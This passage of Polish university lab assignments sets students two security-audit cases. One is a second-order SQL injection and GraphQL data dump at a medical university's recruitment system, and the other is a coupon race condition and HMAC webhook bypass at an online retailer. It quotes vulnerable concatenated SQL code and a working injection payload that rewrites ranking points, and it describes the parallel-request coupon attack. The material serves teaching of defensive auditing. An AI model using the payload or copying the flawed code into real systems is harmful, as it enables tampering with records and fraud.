• Rozporządzenie Rady Ministrów z dnia 12 kwietnia 2012 r. w sprawie Krajowych Ram Interoperacyjności, minimalnych wymagań dla rejestrów publicznych i wymiany informacji w postaci elektronicznej oraz minimalnych wymagań dla systemów teleinformatycznych (Dz.U. z 2017 r. poz. 2247) - § 20.
• Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 (RODO) - art. 32 (Bezpieczeństwo przetwarzania).
• National Institute of Standards and Technology (NIST): "SP 800-52 Rev. 2: Guidelines for the Selection, Configuration, and Use of Transport Layer Security (TLS) Implementations", 2019.
• National Institute of Standards and Technology (NIST): "SP 800-132: Recommendation for Password-Based Key Derivation Part 1: Storage Applications", 2010.
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.20 (Bezpieczeństwo sieci), A.8.24 (Krypto-zabezpieczenia), A.5.15 (Kontrola dostępu).
• Federal Information Processing Standards (FIPS): "FIPS PUB 140-3: Security Requirements for Cryptographic Modules", NIST 2019.
• Ustawa z dnia 27 sierpnia 2009 r. o finansach publicznych (Dz.U. z 2023 r. poz. 1270 z późn. zm.).

• U2 Identyfikacja i dekompozycja uchybień kryptograficznych w modelu 4C oraz dochodzenie 5 Why.
• U1 Opracowanie zaleceń rekonfiguracji TLS 1.3, wdrożenia Argon2id, modułu HSM i Oracle TDE.
• U3 Zastosowanie zaawansowanej matrycy ryzyka 5x5 w powiązaniu ze wskaźnikami CVSS i parametrami ciągłości działania BCM.
• U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie 1-stronicowego briefingu zarządczego (Pitch to Board).
• W1W2W3 Wyczerpująca znajomość § 20 KRI, art. 32 RODO, normy ISO 27001 i standardów NIST.
• K1K2K3 Profesjonalizm audytorski, bezkompromisowa ochrona interesu publicznego i wysoka etyka zawodowa.

Podczas obrony referatu przedstawcie komisji bezpośrednie porównanie czasu potrzebnego na złamanie hasła SHA-1 (ułamki milisekund na procesorze graficznym RTX 4090) z czasem niezbędnym na złamanie hasła zabezpieczonego algorytmem Argon2id (wielokrotność lat), uzasadniając w ten sposób konieczność natychmiastowej migracji kryptograficznej.

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wysoce specjalistycznego audytu podatności na wstrzyknięcia (kategoria OWASP Top 10:2021 - A03:2021 Injection) w ekosystemie teleinformatycznym publicznej uczelni wyższej kształcącej kadry medyczne. Audyt koncentruje się na Centralnym Systemie Rekrutacyjnym 'e-Rekrutacja' oraz powiązanym Wirtualnym Dziekanacie (zintegrowanym z systemem USOS), w których wykryto podatność na wstrzyknięcie SQL drugiego rzędu (Second-Order SQL Injection) w polach opisu dorobku naukowego i osiągnięć olimpijskich kandydatów na kierunek lekarski, a także podatność GraphQL Injection / Batching Attack w interfejsie API planów zajęć i ocen. Wstrzyknięty złośliwy ciąg SQL uaktywnia się w trakcie generowania oficjalnych list rankingowych w module administracyjnym, umożliwiając intruzowi nieuprawnioną eskalację uprawnień, zrzut bazy zawierającej dane osobowe i wrażliwe 35 000 studentów oraz fałszowanie punktacji kwalifikacyjnej. Zadanie wymaga dekompozycji w kanonicznym modelu 4C, kwantyfikacji ryzyka w 25-stopniowej matrycy 5x5 skorelowanej ze wskaźnikami CVSS v3.1 (9.8 Critical) i BCM (RTO=15m, RPO=0s, MTPD=1h), skonstruowania Trójfazowego Planu Działań Korygujących (CAP) ze wskaźnikami KPI i KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) regulującego standardy bezpiecznego kodowania, parametryzacji ORM i walidacji schematów GraphQL oraz przygotowania Podsumowania Zarządczego (Pitch to Board) dla Rektora i Senatu Uczelni.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

• W1 Zaawansowana znajomość przepisów Ustawy - Prawo o szkolnictwie wyższym i nauce, zasad nienaruszalności procedur rekrutacyjnych, ochrony danych osobowych studentów i kandydatów (art. 5, 6, 9 i 32 RODO) oraz odpowiedzialności karnej za fałszowanie dokumentów i niszczenie danych (art. 268a, 270 i 231 KK).
• W2W3 Biegłość w stosowaniu standardów OWASP Top 10:2021 (A03), OWASP ASVS v4.0.3 (Sekcja V5 Walidacja Danych i Kodowanie), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.25, A.8.28 Bezpieczne kodowanie, A.8.29 Testowanie bezpieczeństwa), § 20 Rozporządzenia ws. KRI oraz wytycznych NIST SP 800-95.
• U1 Opracowanie zaleceń inżynierskich całkowitej eliminacji dynamicznej konkatenacji zapytań SQL na rzecz zapytań parametryzowanych (Prepared Statements) w ORM Hibernate, wdrożenia walidacji wejściowej opartej na białych listach, ograniczenia głębokości i złożoności zapytań GraphQL (Query Depth / Cost Limiting) oraz reguł WAF SQLi.
• U2 Bezbłędna kwalifikacja uchybienia w modelu 4C z precyzyjnym wskazaniem naruszeń prawa i norm.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów zafałszowania wyników rekrutacji lekarskiej, wycieku numerów PESEL i kompromitacji serwera bazy danych (IR=25, CVSS=9.8, powiązanie z BCM).
• U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
• K1K2K3 Niezależność audytorska, obiektywizm w obliczu nacisków akademickich, dbałość o zaufanie społeczne do zawodu lekarza i etyka zawodowa.
• Powiązanie z wykładem: Wyk1 (Audyt w sektorze publicznym i akademickim), Wyk3 (Kontrole A.8.25 i A.8.28 ISO 27001), Wyk4 (RODO i KRI w szkolnictwie wyższym), Wyk5 (Matryca ryzyka 5x5), Wyk6 (Analiza kodu źródłowego i logów SQL/GraphQL), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).

Uniwersytet Medyczny w Białymstoku kształci ponad 5 500 studentów na kierunkach lekarskim, lekarsko-dentystycznym, farmacji oraz naukach o zdrowiu. Rekrutacja na kierunek lekarski charakteryzuje się ogromną konkurencją (ponad 15 kandydatów na jedno miejsce). System 'e-Rekrutacja' przetwarza dane osobowe, numery PESEL, świadectwa dojrzałości oraz skany zaświadczeń o osiągnięciach olimpijskich i publikacjach naukowych, które przyznają dodatkowe punkty rekrutacyjne.

Stan faktyczny w obszarze podatności na wstrzyknięcia i incydentu rekrutacyjnego:

• System rekrutacyjny został napisany w technologii Java/Spring Boot z bazą danych PostgreSQL. W formularzu rejestracyjnym kandydata pole `tytul_osiagniecia` oraz `opis_dorobku` przyjmuje tekst o długości do 2000 znaków. Dane te są zapisywane w bazie danych w sposób poprawny za pomocą standardowego repozytorium JPA.
• Jednakże w module generowania oficjalnych protokołów komisji rekrutacyjnej (`ProtokolKomisjiService.java`), zamiast zapytań parametryzowanych, programiści użyli dynamicznej konkatenacji łańcuchów znaków do budowy skomplikowanego zapytania analitycznego: `String sql = "SELECT * FROM kandydaci WHERE status='AKTYWNY' AND kategoria='" + kategoria + "' ORDER BY " + kryteriumSortowania + ";";`. Co więcej, w wewnętrznej procedurze wyliczania punktów dodatkowych wartości pobrane z pola `tytul_osiagniecia` były bezpośrednio wklejane do kolejnego zapytania SQL uruchamianego z uprawnieniami superużytkownika `postgres`: `String bonusSql = "UPDATE ranking SET punkty = punkty + " + obliczBonus(rs.getString("tytul_osiagniecia")) + " WHERE id=" + kandydatId;`.
• Wprowadzenie w polu osiągnięcia payloadu: `10 WHERE id=412; UPDATE ranking SET punkty = 100 WHERE id=412; --` sprawiło, że podczas nocnego przeliczania list rankingowych przez Przewodniczącego Uczelnianej Komisji Rekrutacyjnej zapytanie wykonało się w kontekście bazy, bezwarunkowo przyznając kandydatowi o ID 412 maksymalną liczbę 100 punktów i przesuwając go na 1. miejsce listy przyjętych.
• Ponadto interfejs API GraphQL Wirtualnego Dziekanatu (`/graphql`) nie posiadał ograniczenia głębokości zapytań ani limitu złożoności (brak Query Depth / Complexity Limiter). Intruz, wykorzystując zagnieżdżone zapytanie rekurencyjne (Batching Attack) połączone ze wstrzyknięciem w dyrektywach `@filter`, doprowadził do ujawnienia struktury tabel dziekanatu oraz zrzutu numerów PESEL, ocen i adresów 35 000 studentów i absolwentów uczelni z ostatnich 10 lat.
• Sprawa została ujawniona przez członka komisji rekrutacyjnej, który zauważył, że na 1. miejscu listy rankingowej znalazł się kandydat z wynikiem maturalnym z biologii na poziomie 32%, posiadający maksymalną liczbę punktów dodatkowych. Wstrzymano ogłoszenie wyników rekrutacji na 48 godzin przed ustawowym terminem.

Rektor Uczelni, stając w obliczu skandalu w mediach ogólnopolskich, groźby unieważnienia całej rekrutacji na kierunek lekarski, zawiadomienia prokuratury oraz kar ze strony Prezesa UODO, powołuje Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

• Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

  Student A (Lead Auditor / Zgodność z Prawem o Szkolnictwie Wyższym): Odpowiada za ład prawno-akademicki, zgodność z Ustawą - Prawo o szkolnictwie wyższym i nauce, art. 32 RODO, procedurami komisji rekrutacyjnej, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board") dla Rektora i Senatu.

  Student B (Technical SecOps Auditor / Architekt Bezpieczeństwa Kodu i Baz Danych): Dokonuje dekonstrukcji podatności Second-Order SQLi w kodzie Java/Spring, analizuje plany zapytań PostgreSQL, payloady GraphQL, bada brak mechanizmów walidacji i parametryzacji, projektuje architekturę wzorcową zapytań parametryzowanych (Prepared Statements), repozytoria Spring Data JPA oraz reguły GraphQL Depth Limiting.

  Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (9.8 Critical) i BCM (RTO=15m, RPO=0s, MTPD=1h), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

• Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

  Sformułujcie kartę uchybienia krytycznego w modelu 4C:

• Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

  Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

• Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

  Opracujcie tabelę CAP w 3 horyzontach czasowych:

• Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

  Zredagujcie sformalizowany akt normatywny: "Standard Bezpiecznego Programowania i Parametryzacji Interfejsów Bazodanowych w Ekosystemie Akademickim Uniwersytetu Medycznego w Białymstoku" z numerowanymi artykułami:

  • § 1 Cel i zakres standardu (ochrona integralności procesu dydaktycznego i rekrutacyjnego).
  • § 2 Bezwzględny zakaz dynamicznej konkatenacji zapytań (obowiązek stosowania Prepared Statements i Criteria API).
  • § 3 Reguły bezpieczeństwa dla interfejsów API GraphQL (limity głębokości, kontrola złożoności i blokada batchingu).
  • § 4 Standard konfiguracji kont bazodanowych (zasada Least Privilege, zakaz stosowania kont administracyjnych przez aplikacje).
  • § 5 Bramki jakościowe DevSecOps (wymóg czystego skanu SAST przed wdrożeniem na środowisko produkcyjne).
  • § 6 Odpowiedzialność prawna i dyscyplinarna za naruszenie standardu.
• Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

  Przygotujcie 1-stronicowy dokument dla Rektora i Senatu: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=5), ochrona legalności naboru na kierunek lekarski, wyeliminowanie ryzyka kar UODO (do 20 mln EUR) i postępowań prokuratorskich, kosztorys CAP (210 000 PLN na refaktoryzację, WAF i szkolenia) oraz stopa zwrotu z inwestycji (ROSI: zachowanie reputacji uczelni i dotacji ministerialnej).

Plan prezentacji przed komisją laboratoryjną (15 minut):

• Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Rektora i Senatu (3 min): Przedstawienie skali incydentu fałszowania list rekrutacyjnych, ekspozycji prawnej i reputacyjnej oraz bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
• Dekonstrukcja techniczna podatności SQL Injection i GraphQL (4 min): Prezentacja podatnego kodu Java, mechanizmu Second-Order SQLi, zrzutów zapytań z bazy PostgreSQL, wektora GraphQL Batching oraz demonstracja działania exploita podmieniającego punkty kandydata (Student B - Technical SecOps Auditor).
• Prezentacja Kanonicznej Karty Niezgodności 4C, analizy 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z KRI, art. 32 RODO, art. 270 KK i normą ISO 27001 oraz wyliczenie redukcji ryzyka z IR=25 do RR=5 (Student C - Compliance Auditor).
• Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie zapytań parametryzowanych, limitów GraphQL, bramek SonarQube i procedury rekrutacyjnej (Student B i Student C).
• Dyskusja z komisją i obrona rekomendacji (1 min): Odpowiedzi na pytania dotyczące wykonalności weryfikacji ręcznej przed ogłoszeniem list (cała Triada Audytorska).

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

• Syntetyczny bilans ryzyk związanych z integralnością danych rekrutacyjnych (IR vs RR).
• Ocena skutków prawnych (PZP, Prawo o szkolnictwie wyższym, Kodeks Karny, UODO).
• Budżet Planu CAP (210 000 PLN) vs ROSI.

B. Odpowiedzi na zaawansowane pytania problemowe i opis sytuacji kryzysowej:

• Czym charakteryzuje się wstrzyknięcie SQL drugiego rzędu (Second-Order SQL Injection), dlaczego tradycyjne filtry wejściowe (Web Application Firewall) często zawodzą w jego wykrywaniu i dlaczego jedynym skutecznym zabezpieczeniem jest stosowanie zapytań parametryzowanych w miejscu wykonania zapytania w bazie danych?
• W jaki sposób mechanizm Query Depth Limiting oraz Query Complexity Analysis zabezpiecza interfejsy API GraphQL przed atakami typu Denial of Service oraz nieautoryzowaną eksfiltracją relacyjnych baz danych?
• Jakie są rygory prawne i organizacyjne związane z procedurą unieważnienia lub korekty oficjalnych list rankingowych kandydatów na studia wyższe w świetle przepisów Kodeksu Postępowania Administracyjnego i Ustawy - Prawo o szkolnictwie wyższym i nauce?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 9.8).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Bezpiecznego Programowania (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (narzut wydajnościowy analizy złożoności zapytań GraphQL vs ochrona stabilności serwerów dziekanatu).

H. Bibliografia, netografia i regulacje prawne.

• OWASP Foundation: "OWASP Top 10:2021", Kategoria A03:2021 Injection.
• OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V5 Malicious Code Architecture and Input Validation.
• OWASP Foundation: "GraphQL Cheat Sheet: Security Best Practices for GraphQL APIs", 2023.
• Ustawa z dnia 20 lipca 2018 r. - Prawo o szkolnictwie wyższym i nauce (Dz.U. z 2023 r. poz. 742 z późn. zm.).
• Rozporządzenie Rady Ministrów z dnia 12 kwietnia 2012 r. w sprawie Krajowych Ram Interoperacyjności (Dz.U. z 2017 r. poz. 2247) - § 20.
• Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 (RODO) - art. 5 (Zasady przetwarzania danych), art. 32 (Bezpieczeństwo przetwarzania).
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.25 (Bezpieczny cykl życia rozwoju), A.8.28 (Bezpieczne kodowanie), A.8.29 (Testowanie bezpieczeństwa w rozwoju i akceptacji).
• Kodeks Karny (Dz.U. z 1997 r. nr 88 poz. 553 z późn. zm.) - art. 268a (Niszczenie lub uszkadzanie danych informatycznych), art. 270 (Fałszowanie dokumentów).

• U2 Precyzyjna identyfikacja i formalna gradacja podatności Second-Order SQLi i GraphQL w modelu 4C oraz dochodzenie 5 Why.
• U1 Projekt architektury zapytań parametryzowanych, reguł walidacji i bramek SAST w potoku DevSecOps.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i BCM.
• U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego briefingu zarządczego (Pitch to Board).
• W1W2W3 Wyczerpująca znajomość wymogów Prawa o szkolnictwie wyższym, KRI, RODO, normy ISO 27001 i OWASP ASVS L3.
• K1K2K3 Obiektywizm, niezależność osądu audytorskiego i wysoka etyka ochrony uczciwości rekrutacji akademickiej.

Podczas obrony referatu przedstawcie komisji dokładny listing kodu podatnego przed audytem oraz kod wzorcowy po refaktoryzacji z wykorzystaniem interfejsu PreparedStatement. Zwróćcie uwagę na kluczowy aspekt prawny: sfałszowanie listy rankingowej skutkowałoby wadliwością prawną wszystkich decyzji administracyjnych o przyjęciu na studia.

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wysoce złożonego audytu błędów projektowych i podatności logiki biznesowej (kategoria OWASP Top 10:2021 - A04:2021 Insecure Design) w ogólnopolskiej platformie e-commerce i fintech obsługującej rocznie ponad 3,5 mln transakcji zakupu oraz przetwarzającej płatności kartowe i mobilne. Audyt koncentruje się na krytycznych lukach architektonicznych: wyścigu zasobów (Race Condition / Time-of-Check to Time-of-Use - TOCTOU) w module naliczania jednorazowych kuponów rabatowych i kart podarunkowych, braku atomowości operacji koszykowych przy równoległych żądaniach HTTP (HTTP/2 pipelining) oraz desynchronizacji stanów zamówienia z zewnętrznymi bramkami płatności (PayU, Przelewy24, BLIK) w asynchronicznych webhookach zwrotnych. W toku incydentu zorganizowana grupa przestępcza, wykorzystując skrypty wielowątkowe, zrealizowała wielokrotnie te same kody rabatowe o wartości 500 PLN w odstępach milisekundowych, redukując wartość zamówień na sprzęt elektroniczny klasy premium do 0 PLN, a poprzez manipulację podpisem HMAC w asynchronicznym webhooku doprowadziła do fałszywego uznania zamówień na łączną kwotę 6,2 mln PLN. Zadanie wymaga przeprowadzenia dekompozycji w kanonicznym modelu 4C, wyliczenia ryzyka w 25-stopniowej matrycy 5x5 skorelowanej z punktacją CVSS v3.1 (8.5 High) oraz parametrami BCM (RTO=15m, RPO=0s, MTPD=30m), skonstruowania Trójfazowego Planu Działań Korygujących (CAP) ze wskaźnikami KPI i KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) definiującego reguły transakcyjności ACID, blokad bazodanowych, modelowania zagrożeń STRIDE i weryfikacji kryptograficznej webhooków oraz przygotowania 1-stronicowego Podsumowania Zarządczego (Pitch to Board) dla Zarządu i Dyrektora Finansowego (CFO) Spółki.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

• W1 Zaawansowana znajomość standardu Payment Card Industry Data Security Standard (PCI DSS v4.0 - wymagania 6.4 i 6.5 dotyczące bezpiecznego projektowania oprogramowania), Rozporządzenia DORA (odporność cyfrowa podmiotów finansowych i bram płatniczych), Ustawy o prawach konsumenta, Kodeksu Cywilnego (zawarcie umowy na odległość) oraz odpowiedzialności karnej z art. 286 KK (oszustwo).
• W2W3 Rygorystyczna korelacja standardów OWASP Top 10:2021 (A04 Insecure Design), OWASP ASVS v4.0.3 L3 (Sekcja V1 Architektura, Projektowanie i Modelowanie Zagrożeń, Sekcja V11 Logika Biznesowa), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.25 Bezpieczny cykl życia rozwoju, A.8.26 Wymagania bezpieczeństwa aplikacji, A.8.27 Inżynieria bezpiecznych systemów) oraz metodyki modelowania zagrożeń STRIDE.
• U1 Opracowanie zaleceń inżynierskich wdrożenia blokad pesymistycznych na poziomie bazy danych (`SELECT ... FOR UPDATE`), idempotencyjności operacji API (Idempotency Keys w nagłówkach HTTP), kryptograficznej walidacji sygnatur webhooków HMAC-SHA256 oraz obligatoryjnego modelowania zagrożeń w cyklu SDLC.
• U2 Bezbłędna kwalifikacja uchybienia architektonicznego w modelu 4C z precyzyjnym powołaniem norm i przepisów.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów strat finansowych z wyścigu zasobów, fałszowania webhooków płatności i utraty certyfikacji PCI DSS (IR=25, CVSS=8.5, korelacja z BCM).
• U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
• K1K2K3 Profesjonalizm audytorski, bezstronność w ocenie błędów architektów, odporność na presję biznesową przedkładającą szybkość 'Time to Market' nad bezpieczeństwo transakcji.
• Powiązanie z wykładem: Wyk1 (Ład korporacyjny e-commerce i fintech), Wyk3 (Kontrole A.8.25, A.8.26 i A.8.27 ISO 27001), Wyk4 (PCI DSS v4.0 i DORA), Wyk5 (Matryca ryzyka 5x5 i analiza wpływu biznesowego BIA), Wyk6 (Analiza logów transakcyjnych i współbieżności), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).

'Superkoszyk Polska S.A.' jest jednym z największych detalistów internetowych w Europie Środkowo-Wschodniej. Platforma operuje na klastrze mikroserwisów w chmurze AWS z bazą danych PostgreSQL oraz klastrem cache'ującym Redis. W trakcie ogólnopolskiej kampanii promocyjnej 'Black Week' spółka wyemitowała 100 000 unikalnych, jednorazowych kodów rabatowych o wartości 500 PLN każdy (z przeznaczeniem na zakupy o wartości min. 1000 PLN).

Stan faktyczny w obszarze logiki biznesowej i incydentu transakcyjnego:

• W mikroserwisie koszyka i kuponów (`CouponService.java`) proces weryfikacji i naliczania zniżki został zaprojektowany w modelu rozdzielonym: krok 1 polegał na sprawdzeniu, czy kupon w bazie danych ma status `AKTYWNY` (`isCouponValid(code)`), a krok 2 (wykonywany po asynchronicznej kalkulacji podatków i kosztów dostawy w innym mikroserwisie) na zmianie statusu kuponu na `WYKORZYSTANY` (`markCouponUsed(code)`). Pomiędzy krokiem 1 a 2 upływało średnio 80-120 milisekund.
• Zorganizowana grupa sprawców wykorzystała podatność wyścigu zasobów (Race Condition / TOCTOU). Za pomocą skryptu w języku Python wysyłano w pojedynczym pakiecie TCP (wykorzystując wielodostępność HTTP/2 multiplexing) 30 równoległych żądań `POST /api/v1/checkout/apply-coupon` w odstępach poniżej 2 milisekund. W efekcie wszystkie 30 wątków odczytało status kuponu jako `AKTYWNY` przed wykonaniem aktualizacji statusu przez którykolwiek z nich, co pozwoliło na 30-krotne odliczenie kwoty 500 PLN (łącznie 15 000 PLN rabatu) dla tego samego zamówienia, redukując cenę laptopów i smartfonów Apple o łącznej wartości 14 500 PLN do 0 PLN.
• Co więcej, w mikroserwisie obsługi płatności (`PaymentWebhookController.java`), odbierającym asynchroniczne komunikaty statusowe od operatora płatności (`POST /api/v1/payments/webhook`), programiści błędnie zaimplementowali weryfikację podpisu HMAC-SHA256: sprawdzano jedynie obecność nagłówka `X-Signature`, ale z powodu błędu logicznego w instrukcji warunkowej (`if (signature != null) ... else return true;`) pominięcie nagłówka w spreparowanym żądaniu HTTP powodowało bezwarunkowe zaakceptowanie statusu `STATUS_PAID`.
• W ciągu 48 godzin sprawcy wygenerowali 412 nieuprawnionych transakcji zakupu drogiej elektroniki, a zautomatyzowany system magazynowy WMS wydał towar kurierom. Łączne bezpośrednie straty finansowe spółki wyniosły 6,2 mln PLN. Incydent doprowadził również do desynchronizacji salda rozliczeniowego z operatorem kart płatniczych i wszczęcia procedury audytu specjalnego przez organizacje płatnicze Visa i Mastercard z groźbą natychmiastowego cofnięcia certyfikatu PCI DSS v4.0.

Prezes Zarządu i Dyrektor Finansowy (CFO), stając przed widmem utraty zdolności operacyjnej, dochodzenia prokuratorskiego z art. 286 KK oraz kar regulacyjnych, powołują Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

• Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

  Student A (Lead Auditor / Zgodność z PCI DSS i Ład Finansowy): Odpowiada za ład zarządczy (Governance), zgodność ze standardem PCI DSS v4.0, Rozporządzeniem DORA, przepisami prawa konsumenckiego, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board") dla Zarządu i CFO.

  Student B (Technical SecOps Auditor / Architekt Niezawodności i Logiki Biznesowej): Dekonstruuje podatność TOCTOU w kodzie CouponService, analizuje logi HTTP/2 multiplexing, błąd weryfikacji sygnatury webhooka w kontrolerze płatności, projektuje mechanizm blokad pesymistycznych bazy danych (`SELECT FOR UPDATE`), klucze idempotencyjności (Idempotency Keys) oraz kryptograficzną weryfikację HMAC.

  Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (8.5 High) i BCM (RTO=15m, RPO=0s, MTPD=30m), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

• Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

  Sformułujcie kartę uchybienia krytycznego w modelu 4C:

• Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

  Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

• Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

  Opracujcie tabelę CAP w 3 horyzontach czasowych:

• Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

  Zredagujcie sformalizowany akt normatywny: "Standard Architektury Niezawodnościowej, Transakcyjności i Odporności Logiki Biznesowej Superkoszyk Polska S.A." z numerowanymi artykułami:

  • § 1 Zakres i cel procedury (zapewnienie integralności transakcji finansowych i zgodności z PCI DSS v4.0).
  • § 2 Obowiązkowe reguły współbieżności i atomowości (wymóg transakcji ACID, blokad pesymistycznych i kluczy idempotencyjności).
  • § 3 Standard integracji z zewnętrznymi bramkami płatności (kryptograficzna weryfikacja webhooków HMAC w czasie stałym).
  • § 4 Wymogi modelowania zagrożeń STRIDE przed wdrożeniem nowych promocji i modułów płatniczych.
  • § 5 Procedura testów przeciążeniowych i współbieżnych w potokach CI/CD.
  • § 6 Sankcje służbowe i finansowe za wdrażanie zmian w logice finansowej z pominięciem akceptacji architektonicznej.
• Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

  Przygotujcie 1-stronicowy dokument dla Zarządu i CFO: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=4), rozliczenie strat 6,2 mln PLN i plan ich odzyskania, zachowanie certyfikatu PCI DSS v4.0 (ochrona rocznego obrotu 400 mln PLN), kosztorys CAP (320 000 PLN na refaktoryzację, audyt QSA i narzędzia) oraz stopa zwrotu z inwestycji (ROSI).

Plan prezentacji seminaryjnej przed komisją (15 minut):

• Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Zarządu i CFO (3 min): Przedstawienie skali strat finansowych, ekspozycji na utratę licencji PCI DSS oraz bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
• Dekonstrukcja techniczna podatności wyścigu zasobów i webhooków (4 min): Prezentacja mechanizmu TOCTOU przy użyciu HTTP/2 pipelining, dekompozycja kodu CouponService, analiza luki weryfikacji HMAC oraz demonstracja wektora ataku wielowątkowego (Student B - Technical SecOps Auditor).
• Prezentacja Kanonicznej Karty Niezgodności 4C, 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z PCI DSS v4.0, DORA, art. 286 KK i normą ISO 27001 oraz wyliczenie redukcji ryzyka z IR=25 do RR=3 (Student C - Compliance Auditor).
• Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie blokad pesymistycznych, kluczy idempotencyjności, modelowania STRIDE i audytu QSA (Student B i Student C).
• Dyskusja z komisją i obrona rekomendacji (1 min): Merytoryczne uzasadnienie wyboru blokad pesymistycznych kosztem minimalnego narzutu opóźnień bazy danych (cała Triada Audytorska).

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

• Bilans ryzyk finansowych i transakcyjnych (IR vs RR).
• Skutki utraty certyfikacji PCI DSS v4.0 dla ciągłości biznesu.
• Budżet Planu CAP (320 000 PLN) vs Return on Security Investment (ROSI).

B. Odpowiedzi na pytania problemowe i opis sytuacji kryzysowej:

• W jaki sposób technologia HTTP/2 (multiplexing, pipelining) oraz architektura mikrousługowa zwiększają podatność aplikacji webowych na wyścigi zasobów (Race Conditions / TOCTOU) i jakie wzorce projektowe (Pessimistic Locking, Idempotency Keys, Distributed Locks w Redis/Redlock) skutecznie eliminują te zagrożenia?
• Jakie są fundamentalne zasady bezpiecznej weryfikacji asynchronicznych powiadomień webhook od operatorów płatności i dlaczego funkcja porównywania sygnatur kryptograficznych musi działać w czasie stałym (Constant-Time Comparison)?
